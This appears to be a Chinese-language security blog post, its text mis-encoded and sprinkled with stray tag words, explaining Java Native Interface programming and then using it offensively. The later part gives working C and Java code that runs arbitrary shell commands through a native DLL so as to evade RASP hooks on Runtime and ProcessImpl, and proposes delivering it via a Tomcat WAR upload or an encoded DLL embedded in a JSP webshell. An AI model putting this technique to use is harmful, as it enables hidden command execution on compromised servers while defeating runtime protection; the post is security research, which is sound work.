前面一直想看該JNI的相關內容,可是發現JNI的資料仍是偏少。後面發現JNI在安全中應用很是的微妙,有意思。java
JNI的全稱叫作(Java Native Interface),其做用就是讓咱們的Java程序去調用C的程序。實際上調用的並非exe程序,而是編譯好的dll動態連接庫裏面封裝的方法。由於Java是基於C語言去實現的,Java底層不少也會去使用JNI。linux
在開發中運用到的也是比較多,好比在前面分析鏈的時候,追溯到一些底層實現代碼的時候就能夠看到一些方法是使用Native
來修飾的。這就說明他是一個c語言去實現的一個方法。c++
來看到下面這張圖,該圖是實現JNI編程的具體路線web
這裏我大體分爲五步:shell
1. 定義一個native修飾的方法 2. 使用javah進行編譯 3. 編寫對應的c語言代碼 4. 使用gcc編譯成dll文件 5. 編寫一個Java類使用System.loadLibrary方法,加載dll文件而且調用
按照步驟來實現一下編程
package com.test; public class Command { public native int sum(int num1,int num2); }
首先使用javac編譯成class文件數組
javac .\Command.java
而後使用javah生成c的頭文件,切換到src目錄下。後面發現其實能夠不用編譯成class文件。tomcat
JDK10移除了javah
,須要改成javac
加-h
參數的方式生產頭文件,命令:安全
javac -cp . .\Command.java -h com.test.Command
而後執行命令jsp
javah -cp . com.test.Command
這裏能夠看到有個Java_com_test_Command_sum
的字符,前面的Java是固定的前綴,後面是類名,最後面的是該類中定義的方法。
而括號裏面的4個參數,第一個是JNI環境變量對象,第二個是Java調用的對象,這裏是jclass也就是一個class文件。後面兩個則是傳入的參數而且是int類型的。
裏面的內容是javah基於剛剛的java代碼自動生成的,不要輕易更改。在編寫c代碼的時候,須要導入該頭文件
#include "com_test_Command.h" JNIEXPORT jint JNICALL Java_com_test_Command_sum (JNIEnv *env, jobject obj, jint num1, jint num2){ return num1+num2; } void main(){}
gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include" -I "c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c -o 1.dll
須要指定jdk的include和win32文件
或者能夠這麼寫
gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。
mac 編譯:
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp
linux編譯:
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp
g++是用來編譯c++的,都可使用。代碼若是是c++寫的,就可使用g++來編譯成dll同樣能夠調用。
這裏先來編譯一下
gcc -I "D:\JAVA_JDK\include" -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c
從新在IDEA裏面打開項目,並編寫代碼
package com.test; public class test { public static void main(String[] args) { System.loadLibrary("cmd"); Command command = new Command(); int sum = command.sum(1, 2); System.out.println(sum); } }
運行查看結果,查看是否能正常運行
然而這裏發現爆了個這樣的錯誤,在64位數的平臺不能去調用32位數的dll文件,貌似是使用到了32位的gcc進行編譯致使調用報錯
發現本身安裝的是32位的gcc編譯只能編譯成32位的dll文件,後面來使用gcc 64 位的就能夠了。
再次編譯成gcc進行調用後,就能夠進行執行。
到了這裏,就已是調用了封裝好的dll動態連接庫文件裏面封裝的方法了。
在RASP裏實際上是Hook掉了一些Runtime
、ProcessBuilder
等類,可是Runtime.exec
調用的是ProcessBuilder.start
,ProcessBuilder.start
的底層會調用ProcessImpl
類。那麼這時候只須要去Hook掉ProcessImpl
就沒法進行執行命令了。那麼像這種基於堆棧調用去識別的該怎麼去繞過呢?假設一個場景一個站點使用RASP,這時候若是上傳一個webshell
那麼這時候就會去用到JNI去調用該dll文件就能夠進行一個繞過,能夠先來實現這麼一個功能,後續還須要考慮到的是怎麼將幾個文件封裝到一塊兒,打包成一個jsp文件進行上傳。
首先仍是須要在IDEA裏面先去實現功能,基於上面代碼去作一個修改
Command類:
package com.test; public class Command { public native String exec(String cmd); }
編譯成.h c語言的頭文件,內容以下:
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class com_test_Command */ #ifndef _Included_com_test_Command #define _Included_com_test_Command #ifdef __cplusplus extern "C" { #endif JNIEXPORT jstring JNICALL Java_com_test_Command_exec (JNIEnv *, jobject, jstring); #ifdef __cplusplus } #endif #endif
編寫命令執行的C語言代碼,因爲不會C ,該段代碼是網上找的
#include "com_test_Command.h" #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> int execmd(const char *cmd, char *result) { char buffer[1024*12]; //定義緩衝區 FILE *pipe = _popen(cmd, "r"); //打開管道,並執行命令 if (!pipe) return 0; //返回0表示運行失敗 while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { //將管道輸出到result中 strcat(result, buffer); } } _pclose(pipe); //關閉管道 return 1; //返回1表示運行成功 } JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr) { const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; //定義存放結果的字符串數組 if (1 == execmd(cstr, result)) { // printf(result); } char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult; }
使用命令將2個文件編譯成dll動態連接庫
而後編寫Java代碼加載dll文件,調用C語言中封裝的方法
package com.test; public class test { public static void main(String[] args) { System.loadLibrary("cmd"); Command command = new Command(); String ipconfig = command.exec("ipconfig"); System.out.println(ipconfig); } }
調用棧:
命令就執行成功了,這裏不是調用一些自帶的Runtime等方法,而是調用dll文件中封裝的方法,可以去繞過一些RASP的攔截。
目前個人設想是由兩種方式在現實場景中去進行一個使用,一個是將dll文件都打包成一個war包,在一些tomcat管理後臺的位置上傳後,自動進行解壓釋放該dll文件,而後使用jsp去調用該dll文件,從而使得能夠繞過執行命令。或者是可使用遠程調用的方式,這樣就能夠不用上傳dll文件了, 這樣作的目的是通常上傳點之類的都不會容許dll文件進行上傳。
還有一種方式是將dll文件編碼後,內置到jsp中,執行的時候進行釋放到當前文件目錄下,進行調用。
https://cloud.tencent.com/developer/article/1541566 https://javasec.org/javase/JNI/
吹爆花貓大哥的Javasec文章,在Javasec的JNI文中用到的是c++來進行一個代碼實現,實際效果差很少。具體的在本文中就不作實現。Javasec中有現成代碼。
其實這種方式仍是有辦法查殺到的,具體參考該篇文章:JNI編程怎麼跟蹤調試dll。